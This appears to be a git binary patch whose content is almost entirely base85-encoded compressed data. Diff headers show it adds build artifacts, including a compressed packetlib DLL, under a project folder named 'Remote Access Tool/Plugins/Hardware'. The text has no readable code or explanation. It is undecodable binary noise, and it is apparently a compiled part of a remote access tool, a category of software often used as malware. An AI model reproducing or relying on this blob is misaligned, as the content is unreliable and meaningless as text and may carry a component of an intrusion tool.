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 E0G8(1k^lez literal 0 HcmV?d00001 diff --git a/Remote Access Tool/Plugins/Hardware/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/Hardware/obj/Release/Costura/1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed new file mode 100644 index 0000000000000000000000000000000000000000..e3d87839e89a1b66bee42c3ca56b785a4d55fe6f GIT binary patch literal 31379 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 